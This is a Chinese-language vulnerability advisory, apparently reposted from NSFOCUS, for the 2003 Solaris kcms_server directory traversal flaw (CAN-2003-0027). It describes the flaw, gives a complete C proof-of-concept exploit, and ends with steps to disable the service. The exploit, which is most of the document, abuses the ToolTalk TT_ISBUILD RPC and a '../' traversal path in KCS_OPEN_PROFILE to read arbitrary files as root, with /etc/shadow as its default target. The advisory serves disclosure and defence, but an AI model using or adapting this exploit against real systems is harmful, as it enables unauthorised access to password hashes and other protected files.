Sun Solaris kcms_server远程读取任意文件漏洞发布时间:2003-01-24 更新时间:2003-01-24 严重程度:高 威胁程度:读取受限文件 错误类型:输入验证错误 利用方式:服务器模式 CVE(CAN) ID:CAN-2003-0027 受影响系统 Sun Solairs kcms_server详细描述 Kodak Color Management System (KCMS)是一组为不同设备和色彩空间提供色彩管理的API。kcms_server是一个守护进程,允许KCMS库函数访问远程主机的上的资料文件(profile)。 kcms_server提供的一个远程过程KCS_OPEN_PROFILE用来打开上述文件,但其实现中存在一个目录遍历漏洞,由于kcms_server是以root身份运行的,攻击者就可以远程读取任意文件。这些文件缺省位于/etc/openwin/devdata/profiles和/usr/openwin/etc/devdata/profiles 目录下。尽管kcms_server已经对profile文件名做了一些检查以确保不会发生目录遍历漏洞,但这些检查并不全面,因此利用ToolTalk数据库服务器的TT_ISBUILD过程调用在上述目录下创建子目录就可以绕过这些检查。 通过获取敏感文件,例如/etc/passwd或/etc/shadow,攻击者可能获取对系统的普通用户甚至root用户的访问权限。 要利用这个漏洞需要要求目标主机同时正在运行rpc.ttdbserverd服务。 测试代码 /****************************************************************/ /* Copyright (c) 2000, 2003 */ /* NSFOCUS INFORMATION TECHNOLOGY CO.,LTD. */ /* All rights reserved. */ /* */ /* THIS IS UNPUBLISHED PROOF OF CONCEPT CODE OF NSFOCUS. */ /* THIS CODE IS FOR TEST PURPOSE ONLY AND SHOULD NOT BE */ /* RUN AGAINST ANY HOST WITHOUT PERMISSION FROM THE */ /* SYSTEM ADMINISTRATOR. */ /* */ /* IT SHOULD NOT BE DISTRIBUTED IN ANY FORM WITHOUT EXPRESS */ /* PERMISSION FROM NSFOCUS SECURITY TEAM. */ /****************************************************************/ /* * Proof of concept code for kcms_server arbitrary file retrieval vulnerability * ----------------------------------------------------------------------- * Reference : Entercept - Sun Solaris KCMS Library Service Daemon Arbitrary * : File Retrieval Vulnerability * : http://www.entercept.com/news/uspr/01-22-03.asp * : * : CERT VU#850785 * : http://www.kb.cert.org/vuls/id/850785 * ----------------------------------------------------------------------- * Author : NSFOCUS Security Team <security@nsfocus.com> * : http://www.nsfocus.com * Maintain : warning3 <warning3@nsfocus.com> * Version : 1.0 * Compile : For x86/Linux * : gcc -static -Wall -pipe -O3 -o sun_kcms_getfile sun_kcms_getfile.c * : * : For SPARC/Solaris 7/8/9 (don't use -static because of -lnsl) * : gcc -Wall -pipe -O3 -o sun_kcms_getfile sun_kcms_getfile.c -lnsl * : * : strip sun_kcms_getfile * : mcs -d sun_kcms_getfile (only for Solaris) * : * : * Tested : Solaris 7/8 SPARC(should work for other version) * : * Date : 2003-01-23 * Revised : 2003-01-23 * : * History : * ----------------------------------------------------------------------- */ #include <pwd.h> #include <stdlib.h> #include <sys/types.h> #include <sys/time.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #define PORTMAP #include <rpc/rpc.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <stdlib.h> #include <errno.h> #include <string.h> /* ToolTalk defines and xdr functions */ #define INTTYPE 1 #define INTSIZE 2 #define TT_DBSERVER_PROG 100083 #define TT_DBSERVER_VERS 1 #define _TT_ISBUILD ((u_long)3) struct keypart { unsigned short kp_start; /* starting byte of key part */ short kp_leng; /* length in bytes */ short kp_type; /* type of key part */ }; struct keydesc { short k_flags; /* flags */ short k_nparts; /* number of parts in key */ struct keypart k_part[8]; /* each part */ }; struct keydesc; typedef struct keydesc keydesc; typedef struct keypart keypart; struct _Tt_isbuild_args { char *path; int reclen; keydesc *key; int mode; int isreclen; }; typedef struct _Tt_isbuild_args _Tt_isbuild_args; bool_t xdr_keypart(XDR *xdrs, keypart *objp) { if (!xdr_u_short(xdrs, &objp->kp_start)) { return (FALSE); } if (!xdr_short(xdrs, &objp->kp_leng)) { return (FALSE); } if (!xdr_short(xdrs, &objp->kp_type)) { return (FALSE); } return (TRUE); } bool_t xdr_keydesc(XDR *xdrs, keydesc *objp) { if (!xdr_short(xdrs, &objp->k_flags)) { return (FALSE); } if (!xdr_short(xdrs, &objp->k_nparts)) { return (FALSE); } if (!xdr_vector(xdrs, (char *)objp->k_part, 8, sizeof(keypart), (xdrproc_t) xdr_keypart)) { return (FALSE); } return (TRUE); } bool_t xdr_Tt_isbuild_args(XDR *xdrs, _Tt_isbuild_args *objp) { if (!xdr_string(xdrs, &objp->path, 1024)) { return (FALSE); } if (!xdr_int(xdrs, &objp->reclen)) { return (FALSE); } if (!xdr_pointer(xdrs, (char **)&objp->key, sizeof(keydesc), (xdrproc_t) xdr_keydesc)) { return (FALSE); } if (!xdr_int(xdrs, &objp->mode)) { return (FALSE); } if (!xdr_int(xdrs, &objp->isreclen)) { return (FALSE); } return (TRUE); } struct _Tt_reply { int i1; int i2; }; typedef struct _Tt_reply _tt_reply; bool_t xdr_tt_reply(XDR *xdrs, struct _Tt_reply *objp) { if (!xdr_int(xdrs, &objp->i1)) return (FALSE); if (!xdr_int(xdrs, &objp->i2)) return (FALSE); return (TRUE); } /* KCMS defines and xdr functions */ #define KCS_NETWORK_IO ((unsigned long)(100221)) #define KCS_PROTOCOL_VERSION ((unsigned long)(1)) #define KCS_OPEN_PROFILE ((unsigned long)(1003)) #define KCS_CLOSE_PROFILE ((unsigned long)(1004)) #define KCS_READ_DATA ((unsigned long)(1005)) struct open_send { char *file_name; int oflag; u_long mode; }; typedef struct open_send open_send; struct open_reply { long acknowledge; long file_nbytes; long file_handle; }; typedef struct open_reply open_reply; struct close_send { long file_handle; }; typedef struct close_send close_send; struct close_reply { long acknowledge; }; typedef struct close_reply close_reply; struct read_send { long file_handle; long start; u_int nbytes; }; typedef struct read_send read_send; struct read_reply { long acknowledge; struct { u_int profile_data_len; char *profile_data_val; } profile_data; }; typedef struct read_reply read_reply; bool_t xdr_open_send(register XDR *xdrs, open_send *objp) { if (!xdr_string(xdrs, &objp->file_name, 256)) return (FALSE); if (!xdr_int(xdrs, &objp->oflag)) return (FALSE); if (!xdr_u_long(xdrs, &objp->mode)) return (FALSE); return (TRUE); } bool_t xdr_open_reply(register XDR *xdrs, open_reply *objp) { if (!xdr_long(xdrs, &objp->acknowledge)) return (FALSE); if (!xdr_long(xdrs, &objp->file_nbytes)) return (FALSE); if (!xdr_long(xdrs, &objp->file_handle)) return (FALSE); return (TRUE); } bool_t xdr_close_send(register XDR *xdrs, close_send *objp) { if (!xdr_long(xdrs, &objp->file_handle)) return (FALSE); return (TRUE); } bool_t xdr_close_reply(register XDR *xdrs, close_reply *objp) { if (!xdr_long(xdrs, &objp->acknowledge)) return (FALSE); return (TRUE); } bool_t xdr_read_send(register XDR *xdrs, read_send *objp) { if (!xdr_long(xdrs, &objp->file_handle)) return (FALSE); if (!xdr_long(xdrs, &objp->start)) return (FALSE); if (!xdr_u_int(xdrs, &objp->nbytes)) return (FALSE); return (TRUE); } bool_t xdr_read_reply(register XDR *xdrs, read_reply *objp) { if (!xdr_long(xdrs, &objp->acknowledge)) return (FALSE); if (!xdr_array(xdrs, (char **)&objp->profile_data.profile_data_val, (u_int *) &objp->profile_data.profile_data_len, ~0, sizeof (char), (xdrproc_t) xdr_char)) return (FALSE); return (TRUE); } enum clnt_stat stat; int debug = 0; _tt_reply res; struct timeval tm = { 5, 0 }; int sockfd; void usage (char *prog) { fprintf (stderr, "Usage: %s -h host [ -f filename ] [ -v ] [ -k ]\n\n", prog); exit (0); } int resolv (char *host, long *ip) { struct hostent *hp; if ((*ip = inet_addr (host)) < 0) { if ((hp = gethostbyname (host)) == NULL) { fprintf (stderr, "%s: unknown host\n", host); exit (-1); } *ip = *(unsigned long *) hp->h_addr; } return 0; } CLIENT * rpc_connect (char *host, int port, int prog, int ver, int con_mode) { CLIENT *client; struct sockaddr_in sa; AUTH *au; memset (&sa, 0, sizeof (sa)); resolv (host, (long *) &sa.sin_addr.s_addr); sa.sin_family = AF_INET; sa.sin_port = htons (port); sockfd = RPC_ANYSOCK; if (con_mode == 1) // udp mode client = clntudp_create (&sa, prog, ver, tm, &sockfd); else client = clnttcp_create (&sa, prog, ver, &sockfd, 0, 0); if (client == NULL) { clnt_pcreateerror (" -> client create failed"); } else { au = authunix_create ("localhost", 0, 0, 0, 0); client->cl_auth = au; } return (client); } /************************************************************************ * tt_isbuild() ************************************************************************/ _tt_reply * tt_isbuild (char *path, CLIENT * cl) { _Tt_isbuild_args isbulid_args; keydesc key; keypart k_part; isbulid_args.path = path; isbulid_args.reclen = strlen(path); k_part.kp_type=INTTYPE; k_part.kp_leng=INTSIZE; k_part.kp_start=0; key.k_flags=2; key.k_nparts=1; key.k_part[0]=k_part; isbulid_args.key = &key; isbulid_args.mode = 0x10000|2; /* ISINOUT*/ isbulid_args.isreclen = strlen(path); stat = clnt_call (cl, _TT_ISBUILD, (xdrproc_t) xdr_Tt_isbuild_args, (caddr_t) & isbulid_args, (xdrproc_t) xdr_tt_reply, (caddr_t) & res, tm); if (stat != RPC_SUCCESS) { clnt_perror (cl, "clnt_call(isbuild)"); return (NULL); } if(debug){ fprintf (stderr, "* [isbuild] res.i1 = %d, res.i2 = %d! \n", res.i1, res.i2); } return (&res); } /************************************************************************ * kcms_openfile() ************************************************************************/ open_reply * kcms_openfile (char *path, CLIENT * cl) { open_send open_args; static open_reply clnt_res; open_args.file_name = path; open_args.oflag = O_RDONLY; open_args.mode = 0; stat = clnt_call (cl, KCS_OPEN_PROFILE, (xdrproc_t) xdr_open_send, (caddr_t) & open_args, (xdrproc_t) xdr_open_reply, (caddr_t) & clnt_res, tm); if (stat != RPC_SUCCESS) { clnt_perror (cl, "clnt_call"); return (NULL); } if(debug){ fprintf (stderr, "* [openfile] acknowledge = %ld, file_nbytes = %ld, file_handle = %ld! \n", clnt_res.acknowledge, clnt_res.file_nbytes, clnt_res.file_handle); } return (&clnt_res); } /************************************************************************ * kcms_readfile() ************************************************************************/ read_reply * kcms_readfile (long handle, unsigned int bytes, CLIENT * cl) { read_send read_args; static read_reply clnt_res; read_args.file_handle = handle; read_args.start = 0; read_args.nbytes = bytes; stat = clnt_call (cl, KCS_READ_DATA, (xdrproc_t) xdr_read_send, (caddr_t) & read_args, (xdrproc_t) xdr_read_reply, (caddr_t) & clnt_res, tm); if (stat != RPC_SUCCESS) { clnt_perror (cl, "clnt_call"); return (NULL); } if(debug) { fprintf (stderr, "* [readfile]: acknowledge = %ld, profile_data_len = %d! \n", clnt_res.acknowledge, clnt_res.profile_data.profile_data_len); } fprintf (stdout, "---------------------------------------------------------------\n%s" "---------------------------------------------------------------\n", clnt_res.profile_data.profile_data_val); return (&clnt_res); } /************************************************************************ * kcms_closefile() ************************************************************************/ close_reply * kcms_closefile (long handle, CLIENT * cl) { close_send close_args; static close_reply clnt_res; close_args.file_handle = handle; stat = clnt_call (cl, KCS_CLOSE_PROFILE, (xdrproc_t) xdr_close_send, (caddr_t) & close_args, (xdrproc_t) xdr_close_reply, (caddr_t) & clnt_res, tm); if (stat != RPC_SUCCESS) { clnt_perror (cl, "clnt_call"); return (NULL); } if(debug){ fprintf (stderr, "* [closefile]: acknowledge = %ld\n", clnt_res.acknowledge); } return (&clnt_res); } int main (int argc, char *argv[]) { extern char *optarg; CLIENT *cl; int i = 0, port = 0, connect_mode = 0 , ttdb = 1; char *host = "localhost"; char *file = "/etc/shadow"; char path[256]; open_reply *openres; read_reply *readres; while ((i = getopt (argc, argv, "f:h:vk")) != EOF) switch (i) { case 'h': host = optarg; break; case 'f': file = optarg; break; case 'v': debug = 1; break; case 'k': ttdb = 0; /* Just get file without ttdb (if we have run the exploit once)*/ break; default: usage (argv[0]); } if (argc < 2) usage (argv[0]); if(ttdb) { cl = rpc_connect (host, port, TT_DBSERVER_PROG, TT_DBSERVER_VERS, connect_mode); if (!cl) exit (0); tt_isbuild ("/etc/openwin/devdata/profiles/TT_DB/oid_container", cl); /* tt_isbuild ("/usr/openwin/etc/devdata/profiles/TT_DB/oid_container", cl); */ auth_destroy (cl->cl_auth); clnt_destroy (cl); } cl = rpc_connect (host, port, KCS_NETWORK_IO, KCS_PROTOCOL_VERSION, connect_mode); if (!cl) exit (0); snprintf(path, 256 - 1, "TT_DB/../../../../../../../%s", file); path[255] = '\0'; openres = kcms_openfile(path, cl); if(openres->file_handle < 0 ) { fprintf(stderr, "Open profile failer. Abort!\n\n"); exit(-1); }else fprintf(stderr, "\n[%s : %s]\n", host, file); readres = kcms_readfile(openres->file_handle, openres->file_nbytes, cl); kcms_closefile(openres->file_handle, cl); auth_destroy (cl->cl_auth); clnt_destroy (cl); exit (0); } 解决方案 * 禁止'kcms_server'服务。以Solaris 8系统为例: 1. 转变成root用户 $ su - # 2. 禁止kcms_server的执行权限 # chmod 000 /usr/openwin/bin/kcms_server 3. 杀掉正在运行的kcms_server进程 # ps -ef|grep kcms_server root 1485 157 0 15:57:02 ? 0:00 kcms_server # kill -9 1485 (上面的例子中,1485是kcms_server的pid) 4. 编辑/etc/inetd.conf, 注释掉其中包含kcms_server的行: 100221/1 tli rpc/tcp wait root /usr/openwin/bin/kcms_server kcms_server 将上面行变成: #100221/1 tli rpc/tcp wait root /usr/openwin/bin/kcms_server kcms_server 5. 重新启动inetd # ps -ef|grep inetd root 157 1 0 1月 14 ? 0:00 /usr/sbin/inetd -s # kill -HUP 157 相关信息 http://www.entercept.com/news/uspr/01-22-03.asp 中文摘自http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=4257&keyword= |